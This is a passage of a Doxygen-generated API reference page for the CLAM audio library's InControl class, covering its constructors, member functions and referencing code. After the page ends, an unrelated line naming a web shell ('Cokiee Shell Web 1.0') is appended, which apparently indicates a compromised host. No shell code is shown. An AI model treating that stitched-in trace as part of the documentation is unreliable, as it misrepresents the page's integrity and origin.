line <a class="el" href="InControl_8hxx_source.html#l00077">77</a> of file <a class="el" href="InControl_8hxx_source.html">InControl.hxx</a>.</p> </div> </div> <a class="anchor" id="a966f8914cdbee7b94a7b5dc7a2121bab"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template<class ControlDataType> </div> <div class="memtemplate"> template<typename ProcessingType , typename ParameterType > </div> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname"><a class="el" href="classCLAM_1_1InControl.html">CLAM::InControl</a>< ControlDataType >::<a class="el" href="classCLAM_1_1InControl.html">InControl</a> </td> <td>(</td> <td class="paramtype"><a class="el" href="classunsigned.html">unsigned</a> </td> <td class="paramname"><em>id</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">const std::string & </td> <td class="paramname"><em>name</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">ProcessingType * </td> <td class="paramname"><em>proc</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">void(ProcessingType::*)(<a class="el" href="classunsigned.html">unsigned</a>, ParameterType) </td> <td class="paramname"><em>callback</em> </td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">inline</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Constructor to use a callback by copy plus a port id to distinguish different caller controls in a single serving callback. </p> <p>Definition at line <a class="el" href="InControl_8hxx_source.html#l00084">84</a> of file <a class="el" href="InControl_8hxx_source.html">InControl.hxx</a>.</p> </div> </div> <a class="anchor" id="a4992707c129e605b8b02fad892ed9e78"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template<class ControlDataType> </div> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">virtual <a class="el" href="classCLAM_1_1InControl.html">CLAM::InControl</a>< ControlDataType >::~<a class="el" href="classCLAM_1_1InControl.html">InControl</a> </td> <td>(</td> <td class="paramname"></td><td>)</td> <td></td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">inline</span><span class="mlabel">virtual</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Definition at line <a class="el" href="InControl_8hxx_source.html#l00091">91</a> of file <a class="el" href="InControl_8hxx_source.html">InControl.hxx</a>.</p> </div> </div> <hr/><h2>Member Function Documentation</h2> <a class="anchor" id="a29ada68a41024dfa0c09ef4faf3ecdc1"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template<class ControlDataType> </div> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">virtual void <a class="el" href="classCLAM_1_1InControl.html">CLAM::InControl</a>< ControlDataType >::DoControl </td> <td>(</td> <td class="paramtype">const ControlDataType & </td> <td class="paramname"><em>val</em></td><td>)</td> <td></td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">inline</span><span class="mlabel">virtual</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>The control receives a value when this method gets called. Associated callback if any, gets triggered on result. Connected <a class="el" href="classCLAM_1_1OutControl.html" title="Processing typed out control template class.">OutControl</a> may trigger it but it also may be called directly, for example to set the initial value. </p> <p>Reimplemented in <a class="el" href="classCLAM_1_1InControlPublisher.html#af8125d64125ecf63b8d9ee13512e390d">CLAM::InControlPublisher</a>.</p> <p>Definition at line <a class="el" href="InControl_8hxx_source.html#l00100">100</a> of file <a class="el" href="InControl_8hxx_source.html">InControl.hxx</a>.</p> <p>Referenced by <a class="el" href="SegmentSMSTimeStretch_8cxx_source.html#l00057">CLAM::SegmentSMSTimeStretch::ConcreteConfigure()</a>, <a class="el" href="CircularShift_8cxx_source.html#l00053">CLAM::CircularShift::ConcreteConfigure()</a>, <a class="el" href="ControlSelector_8cxx_source.html#l00046">CLAM::ControlSelector::ConcreteConfigure()</a>, <a class="el" href="SMSResidualGain_8hxx_source.html#l00058">CLAM::SMSResidualGain::ConcreteConfigure()</a>, <a class="el" href="ControlSum_8cxx_source.html#l00040">CLAM::ControlSum::ConcreteConfigure()</a>, <a class="el" href="SMSSinusoidalGain_8hxx_source.html#l00059">CLAM::SMSSinusoidalGain::ConcreteConfigure()</a>, <a class="el" href="ControlScaler_8cxx_source.html#l00040">CLAM::ControlScaler::ConcreteConfigure()</a>, <a class="el" href="Robotization_8hxx_source.html#l00059">CLAM::Robotization::ConcreteConfigure()</a>, <a class="el" href="SMSTranspose_8hxx_source.html#l00060">CLAM::SMSTranspose::ConcreteConfigure()</a>, <a class="el" href="ControlComparison_8cxx_source.html#l00045">CLAM::ControlComparison::ConcreteConfigure()</a>, <a class="el" href="ControlFade_8cxx_source.html#l00049">CLAM::ControlFade::ConcreteConfigure()</a>, <a class="el" href="SMSGenderChange_8hxx_source.html#l00068">CLAM::SMSGenderChange::ConcreteConfigure()</a>, <a class="el" href="OscillatingSpectralNotch_8hxx_source.html#l00068">CLAM::OscillatingSpectralNotch::ConcreteConfigure()</a>, <a class="el" href="SpectralDelay_8hxx_source.html#l00074">CLAM::SpectralDelay::ConcreteConfigure()</a>, <a class="el" href="SMSPitchShift_8hxx_source.html#l00078">CLAM::SMSPitchShift::ConcreteConfigure()</a>, <a class="el" href="3BandFilter_8hxx_source.html#l00080">CLAM::ThreeBandFilter::ConcreteConfigure()</a>, <a class="el" href="SegmentSMSHarmonizer_8hxx_source.html#l00083">CLAM::SegmentSMSHarmonizer::ConcreteConfigure()</a>, <a class="el" href="AudioAmplifier_8hxx_source.html#l00116">CLAM::AudioAmplifier::ConcreteConfigure()</a>, <a class="el" href="AudioBufferAmplifier_8hxx_source.html#l00118">CLAM::AudioBufferAmplifier::ConcreteConfigure()</a>, <a class="el" href="Control2Data_8cxx_source.html#l00039">CLAM::Control2Data::ConcreteConfigure()</a>, <a class="el" href="SimpleOscillator_8cxx_source.html#l00071">CLAM::SimpleOscillator::ConcreteConfigure()</a>, <a class="el" href="SMSHarmonizer_8cxx_source.html#l00039">CLAM::SMSHarmonizer::ConcreteConfigure()</a>, <a class="el" href="PhaseManagement_8cxx_source.html#l00101">CLAM::PhaseManagement::Do()</a>, <a class="el" href="SegmentSMSTimeStretch_8cxx_source.html#l00096">CLAM::SegmentSMSTimeStretch::Do()</a>, <a class="el" href="FrameInterpolator_8cxx_source.html#l00109">CLAM::FrameInterpolator::Do()</a>, <a class="el" href="SMSPitchShift_8cxx_source.html#l00040">CLAM::SMSPitchShift::Do()</a>, <a class="el" href="SinusoidalSynthesis_8cxx_source.html#l00143">CLAM::SinusoidalSynthesis::Do()</a>, <a class="el" href="SMSSynthesis_8cxx_source.html#l00215">CLAM::SMSSynthesis::Do()</a>, <a class="el" href="InControlPublisher_8hxx_source.html#l00032">CLAM::InControlPublisher::DoControl()</a>, <a class="el" href="FDCombFilter_8cxx_source.html#l00032">CLAM::FDCombFilter::FDCombFilter()</a>, <a class="el" href="SegmentSMSMorph_8cxx_source.html#l00200">CLAM::SegmentSMSMorph::FindInterpolatedFrameFromSegment2Morph()</a>, <a class="el" href="SegmentSMSHarmonizer_8hxx_source.html#l00065">CLAM::SegmentSMSHarmonizer::IgnoreResidual()</a>, <a class="el" href="SMSHarmonizer_8hxx_source.html#l00130">CLAM::SMSHarmonizer::IgnoreResidual()</a>, <a class="el" href="FrameTransformation_8hxx_source.html#l00027">CLAM::FrameTransformation::InitControls()</a>, <a class="el" href="SpectralReverse_8hxx_source.html#l00056">CLAM::SpectralReverse::InitControls()</a>, <a class="el" href="SpectralGate_8hxx_source.html#l00056">CLAM::SpectralGate::InitControls()</a>, <a class="el" href="SpectralAverage_8hxx_source.html#l00059">CLAM::SpectralAverage::InitControls()</a>, <a class="el" href="SpectralCombTriang_8hxx_source.html#l00061">CLAM::SpectralCombTriang::InitControls()</a>, <a class="el" href="Partializer_8hxx_source.html#l00061">CLAM::Partializer::InitControls()</a>, <a class="el" href="SpectralCombDelta_8hxx_source.html#l00061">CLAM::SpectralCombDelta::InitControls()</a>, <a class="el" href="Peakalizer_8hxx_source.html#l00061">CLAM::Peakalizer::InitControls()</a>, <a class="el" href="SpectralExciter_8hxx_source.html#l00063">CLAM::SpectralExciter::InitControls()</a>, <a class="el" href="SampleAndHold_8hxx_source.html#l00063">CLAM::SampleAndHold::InitControls()</a>, <a class="el" href="HumRemover_8hxx_source.html#l00064">CLAM::HumRemover::InitControls()</a>, <a class="el" href="SpectralNotch_8hxx_source.html#l00064">CLAM::SpectralNotch::InitControls()</a>, <a class="el" href="SpectralRingModulation_8hxx_source.html#l00065">CLAM::SpectralRingModulation::InitControls()</a>, <a class="el" href="SpectralAmplitudeModulation_8hxx_source.html#l00065">CLAM::SpectralAmplitudeModulation::InitControls()</a>, <a class="el" href="Deesser_8hxx_source.html#l00065">CLAM::Deesser::InitControls()</a>, <a class="el" href="SpectralPhaseModulation_8hxx_source.html#l00066">CLAM::SpectralPhaseModulation::InitControls()</a>, <a class="el" href="3BandGate_8hxx_source.html#l00067">CLAM::ThreeBandGate::InitControls()</a>, <a class="el" href="Vocoder_8hxx_source.html#l00070">CLAM::Vocoder::InitControls()</a>, <a class="el" href="3BandSpectralAM_8hxx_source.html#l00070">CLAM::ThreeBandAM::InitControls()</a>, <a class="el" href="SpectralSpread_8hxx_source.html#l00073">CLAM::SpectralSpread::InitControls()</a>, <a class="el" href="SpectralFocus_8hxx_source.html#l00076">CLAM::SpectralFocus::InitControls()</a>, <a class="el" href="3BandCompressor_8hxx_source.html#l00081">CLAM::ThreeBandCompressor::InitControls()</a>, <a class="el" href="OutControl_8hxx_source.html#l00065">CLAM::OutControl< ControlDataType >::SendControl()</a>, <a class="el" href="CircularShift_8hxx_source.html#l00085">CLAM::CircularShift::SetAmount()</a>, <a class="el" href="WindowGenerator_8hxx_source.html#l00108">CLAM::WindowGenerator::SetSize()</a>, <a class="el" href="SegmentSMSMorph_8cxx_source.html#l00232">CLAM::SegmentSMSMorph::UpdateControlValueFromBPF()</a>, and <a class="el" href="SegmentSMSMorph_8cxx_source.html#l00148">CLAM::SegmentSMSMorph::UpdateFrameInterpolatorFactors()</a>.</p> </div> </div> <a class="anchor" id="ae20e28c58eff3400515a71aaa5aa4e42"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template<class ControlDataType> </div> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">virtual const ControlDataType& <a class="el" href="classCLAM_1_1InControl.html">CLAM::InControl</a>< ControlDataType >::GetLastValue </td> <td>(</td> <td class="paramname"></td><td>)</td> <td> const</td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">inline</span><span class="mlabel">virtual</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Returns the last received value. </p> <p>Reimplemented in <a class="el" href="classCLAM_1_1InControlPublisher.html#a8db483673f47c7dfb78a60b5c727e7cc">CLAM::InControlPublisher</a>.</p> <p>Definition at line <a class="el" href="InControl_8hxx_source.html#l00108">108</a> of file <a class="el" href="InControl_8hxx_source.html">InControl.hxx</a>.</p> <p>Referenced by <a class="el" href="SimpleOscillator_8hxx_source.html#l00104">CLAM::SimpleOscillator::ApplyFreqAndAmpControls()</a>, <a class="el" href="MonoAudioFileReader_8cxx_source.html#l00135">CLAM::MonoAudioFileReader::Do()</a>, <a class="el" href="AudioFileMemoryLoader_8cxx_source.html#l00107">CLAM::AudioFileMemoryLoader::Do()</a>, <a class="el" href="MIDIKeyboard_8cxx_source.html#l00088">CLAM::MIDIKeyboard::Do()</a>, <a class="el" href="SpectralLimiter_8cxx_source.html#l00039">CLAM::SpectralLimiter::Do()</a>, <a class="el" href="FDCombFilter_8cxx_source.html#l00053">CLAM::FDCombFilter::Do()</a>, <a class="el" href="RandomPhase_8cxx_source.html#l00039">CLAM::RandomPhase::Do()</a>, <a class="el" href="SpectralReject_8cxx_source.html#l00039">CLAM::SpectralReject::Do()</a>, <a class="el" href="FreqShift_8cxx_source.html#l00040">CLAM::FreqShift::Do()</a>, <a class="el" href="NoSpectralTransformation_8cxx_source.html#l00039">CLAM::NoSpectralTransformation::Do()</a>, <a class="el" href="SMSFreqShift_8cxx_source.html#l00039">CLAM::SMSFreqShift::Do()</a>, <a class="el" href="SMSOddEvenHarmonicRatio_8cxx_source.html#l00042">CLAM::SMSOddEvenHarmonicRatio::Do()</a>, <a class="el" href="SegmentSMSMorph_8cxx_source.html#l00163">CLAM::SegmentSMSMorph::Do()</a>, <a class="el" href="ControlFade_8cxx_source.html#l00071">CLAM::ControlFade::Do()</a>, <a class="el" href="SpectralReverse_8cxx_source.html#l00039">CLAM::SpectralReverse::Do()</a>, <a class="el" href="SpectralGate_8cxx_source.html#l00039">CLAM::SpectralGate::Do()</a>, <a class="el" href="CircularShift_8cxx_source.html#l00090">CLAM::CircularShift::Do()</a>, <a class="el" href="SampleAndHold_8cxx_source.html#l00038">CLAM::SampleAndHold::Do()</a>, <a class="el" href="SMSDeesser_8cxx_source.html#l00040">CLAM::SMSDeesser::Do()</a>, <a class="el" href="SMSResidualGain_8cxx_source.html#l00041">CLAM::SMSResidualGain::Do()</a>, <a class="el" href="SMSSinusoidalGain_8cxx_source.html#l00041">CLAM::SMSSinusoidalGain::Do()</a>, <a class="el" href="SpectralAverage_8cxx_source.html#l00038">CLAM::SpectralAverage::Do()</a>, <a class="el" href="SMSSpectralShapeShift_8cxx_source.html#l00039">CLAM::SMSSpectralShapeShift::Do()</a>, <a class="el" href="SMSTranspose_8cxx_source.html#l00039">CLAM::SMSTranspose::Do()</a>, <a class="el" href="Robotization_8cxx_source.html#l00039">CLAM::Robotization::Do()</a>, <a class="el" href="SpectralPeakArrayInterpolator_8cxx_source.html#l00074">CLAM::SpectralPeakArrayInterpolator::Do()</a>, <a class="el" href="Control2Data_8cxx_source.html#l00056">CLAM::Control2Data::Do()</a>, <a class="el" href="Peakalizer_8cxx_source.html#l00039">CLAM::Peakalizer::Do()</a>, <a class="el" href="SpectralCombDelta_8cxx_source.html#l00039">CLAM::SpectralCombDelta::Do()</a>, <a class="el" href="SpectralCombTriang_8cxx_source.html#l00040">CLAM::SpectralCombTriang::Do()</a>, <a class="el" href="Partializer_8cxx_source.html#l00039">CLAM::Partializer::Do()</a>, <a class="el" href="SpectralRingModulation_8cxx_source.html#l00039">CLAM::SpectralRingModulation::Do()</a>, <a class="el" href="SpectralAmplitudeModulation_8cxx_source.html#l00039">CLAM::SpectralAmplitudeModulation::Do()</a>, <a class="el" href="SpectralNotch_8cxx_source.html#l00039">CLAM::SpectralNotch::Do()</a>, <a class="el" href="SpectralPhaseModulation_8cxx_source.html#l00041">CLAM::SpectralPhaseModulation::Do()</a>, <a class="el" href="SpectralExciter_8cxx_source.html#l00039">CLAM::SpectralExciter::Do()</a>, <a class="el" href="HumRemover_8cxx_source.html#l00039">CLAM::HumRemover::Do()</a>, <a class="el" href="Deesser_8cxx_source.html#l00039">CLAM::Deesser::Do()</a>, <a class="el" href="Vocoder_8cxx_source.html#l00038">CLAM::Vocoder::Do()</a>, <a class="el" href="AudioAmplifier_8hxx_source.html#l00081">CLAM::AudioAmplifier::Do()</a>, <a class="el" href="AudioBufferAmplifier_8hxx_source.html#l00081">CLAM::AudioBufferAmplifier::Do()</a>, <a class="el" href="FrameInterpolator_8cxx_source.html#l00109">CLAM::FrameInterpolator::Do()</a>, <a class="el" href="3BandGate_8cxx_source.html#l00040">CLAM::ThreeBandGate::Do()</a>, <a class="el" href="SpectralSpread_8cxx_source.html#l00038">CLAM::SpectralSpread::Do()</a>, <a class="el" href="SinTracking_8cxx_source.html#l00101">CLAM::SinTracking::Do()</a>, <a class="el" href="3BandSpectralAM_8cxx_source.html#l00039">CLAM::ThreeBandAM::Do()</a>, <a class="el" href="SpectralShapeShift_8cxx_source.html#l00038">CLAM::SpectralShapeShift::Do()</a>, <a class="el" href="SpectralFocus_8cxx_source.html#l00039">CLAM::SpectralFocus::Do()</a>, <a class="el" href="SMSPitchShift_8cxx_source.html#l00040">CLAM::SMSPitchShift::Do()</a>, <a class="el" href="OscillatingSpectralNotch_8cxx_source.html#l00038">CLAM::OscillatingSpectralNotch::Do()</a>, <a class="el" href="3BandCompressor_8cxx_source.html#l00039">CLAM::ThreeBandCompressor::Do()</a>, <a class="el" href="SpectralDelay_8cxx_source.html#l00041">CLAM::SpectralDelay::Do()</a>, <a class="el" href="SMSGenderChange_8cxx_source.html#l00039">CLAM::SMSGenderChange::Do()</a>, <a class="el" href="WindowGenerator_8cxx_source.html#l00096">CLAM::WindowGenerator::Do()</a>, <a class="el" href="3BandFilter_8cxx_source.html#l00039">CLAM::ThreeBandFilter::Do()</a>, <a class="el" href="SinusoidalSynthesis_8cxx_source.html#l00143">CLAM::SinusoidalSynthesis::Do()</a>, <a class="el" href="SMSSynthesis_8cxx_source.html#l00215">CLAM::SMSSynthesis::Do()</a>, <a class="el" href="SMSMorph_8cxx_source.html#l00055">CLAM::SMSMorph::Do()</a>, <a class="el" href="SMSHarmonizer_8cxx_source.html#l00100">CLAM::SMSHarmonizer::Do()</a>, <a class="el" href="SimpleOscillator_8cxx_source.html#l00113">CLAM::SimpleOscillator::Do()</a>, <a class="el" href="FDFilterGen_8cxx_source.html#l00098">CLAM::FDFilterGen::Do()</a>, <a class="el" href="PhaseManagement_8cxx_source.html#l00121">CLAM::PhaseManagement::DoPhaseAlignment()</a>, <a class="el" href="PhaseManagement_8cxx_source.html#l00241">CLAM::PhaseManagement::DoPhaseContinuation()</a>, <a class="el" href="SegmentSMSMorph_8cxx_source.html#l00200">CLAM::SegmentSMSMorph::FindInterpolatedFrameFromSegment2Morph()</a>, <a class="el" href="MIDI2Melody_8cxx_source.html#l00033">CLAM::MIDI2Melody::GenerateOutputData()</a>, <a class="el" href="ControlSink_8cxx_source.html#l00044">CLAM::ControlSink::GetControlValue()</a>, <a class="el" href="Processing_8cxx_source.html#l00134">CLAM::GetFloatFromInControl()</a>, <a class="el" href="InControlPublisher_8hxx_source.html#l00039">CLAM::InControlPublisher::GetLastValue()</a>, <a class="el" href="TokenDelay_8hxx_source.html#l00149">CLAM::TokenDelay< Spectrum >::GivenDelay()</a>, <a class="el" href="ControlSelector_8cxx_source.html#l00086">CLAM::ControlSelector::InControlCallback()</a>, <a class="el" href="SegmentSMSHarmonizer_8hxx_source.html#l00054">CLAM::SegmentSMSHarmonizer::UpdateBPF()</a>, <a class="el" href="SegmentSMSMorph_8cxx_source.html#l00232">CLAM::SegmentSMSMorph::UpdateControlValueFromBPF()</a>, <a class="el" href="SegmentSMSMorph_8cxx_source.html#l00148">CLAM::SegmentSMSMorph::UpdateFrameInterpolatorFactors()</a>, and <a class="el" href="SegmentSMSTimeStretch_8cxx_source.html#l00156">CLAM::SegmentSMSTimeStretch::UpdateTimeAndIndex()</a>.</p> </div> </div> <a class="anchor" id="a8b760c5629113b9506ae06602f9ec8b7"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template<> </div> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">const std::string <a class="el" href="classCLAM_1_1InControl.html">CLAM::InControl</a>< <a class="el" href="classCLAM_1_1MIDI.html#ae349a9ea4dcd423790502b8545325c1b">MIDI::Message</a> >::GetLastValueAsString </td> <td>(</td> <td class="paramname"></td><td>)</td> <td></td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">virtual</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Reimplemented from <a class="el" href="classCLAM_1_1InControlBase.html#ab68a3a598a010e360524697c597bf2b8">CLAM::InControlBase</a>.</p> <p>Definition at line <a class="el" href="InControl_8cxx_source.html#l00033">33</a> of file <a class="el" href="InControl_8cxx_source.html">InControl.cxx</a>.</p> </div> </div> <a class="anchor" id="a7cf22a12dbdf251ee52558fa101d1409"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template<class ControlDataType> </div> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">const std::string <a class="el" href="classCLAM_1_1InControl.html">CLAM::InControl</a>< ControlDataType >::GetLastValueAsString </td> <td>(</td> <td class="paramname"></td><td>)</td> <td></td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">inline</span><span class="mlabel">virtual</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Convenience method to get the string representation of the last value. This just works if the token is storable as XML leaf, if not a "Not printable" string is given. </p> <p>Reimplemented from <a class="el" href="classCLAM_1_1InControlBase.html#ab68a3a598a010e360524697c597bf2b8">CLAM::InControlBase</a>.</p> <p>Definition at line <a class="el" href="InControl_8hxx_source.html#l00116">116</a> of file <a class="el" href="InControl_8hxx_source.html">InControl.hxx</a>.</p> <p>Referenced by <a class="el" href="InControl_8hxx_source.html#l00116">CLAM::InControl< MIDI::Message >::GetLastValueAsString()</a>.</p> </div> </div> <a class="anchor" id="a8d80f901cd58bb28dede6ed62662fd4f"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template<class ControlDataType> </div> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">virtual const std::type_info& <a class="el" href="classCLAM_1_1InControl.html">CLAM::InControl</a>< ControlDataType >::GetTypeId </td> <td>(</td> <td class="paramname"></td><td>)</td> <td> const</td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">inline</span><span class="mlabel">virtual</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Concrete InControls must overload this method by returning the typeid of the kind of data they communicate. </p> <pre class="fragment"> This method is used internanlly in order to assure type compatibility between an input an an output control. There are some other uses like the NetworkEditor assigning different colors to connectors depending on this type. </pre> <dl class="todo"><dt><b><a class="el" href="todo.html#_todo000016">Todo:</a></b></dt><dd><a class="el" href="classCLAM_1_1Add.html">Add</a> a link to the </dd></dl> <p>Implements <a class="el" href="classCLAM_1_1InControlBase.html#a9068e7fa487e9a3994ff1f26f8eafe97">CLAM::InControlBase</a>.</p> <p>Definition at line <a class="el" href="InControl_8hxx_source.html#l00121">121</a> of file <a class="el" href="InControl_8hxx_source.html">InControl.hxx</a>.</p> </div> </div> <hr/><h2>Member Data Documentation</h2> <a class="anchor" id="adfaf3c5af591fa80a0c3cdfa2b79f2ff"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template<class ControlDataType> </div> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">ControlDataType <a class="el" href="classCLAM_1_1InControl.html">CLAM::InControl</a>< ControlDataType >::mLastValue</td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">protected</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Definition at line <a class="el" href="InControl_8hxx_source.html#l00052">52</a> of file <a class="el" href="InControl_8hxx_source.html">InControl.hxx</a>.</p> <p>Referenced by <a class="el" href="InControl_8hxx_source.html#l00100">CLAM::InControl< MIDI::Message >::DoControl()</a>, and <a class="el" href="InControl_8hxx_source.html#l00108">CLAM::InControl< MIDI::Message >::GetLastValue()</a>.</p> </div> </div> <hr/>The documentation for this class was generated from the following file:<ul> <li><a class="el" href="InControl_8hxx_source.html">InControl.hxx</a></li> </ul> </div><!-- contents --> <!-- start footer part --> <hr class="footer"/><address class="footer"><small> Generated by  <a href="http://www.doxygen.org/index.html"> <img class="footer" src="doxygen.png" alt="doxygen"/> </a> 1.8.1 </small></address> </body> </html>
Cokiee Shell Web 1.0, Coded By Razor
Neueste Kommentare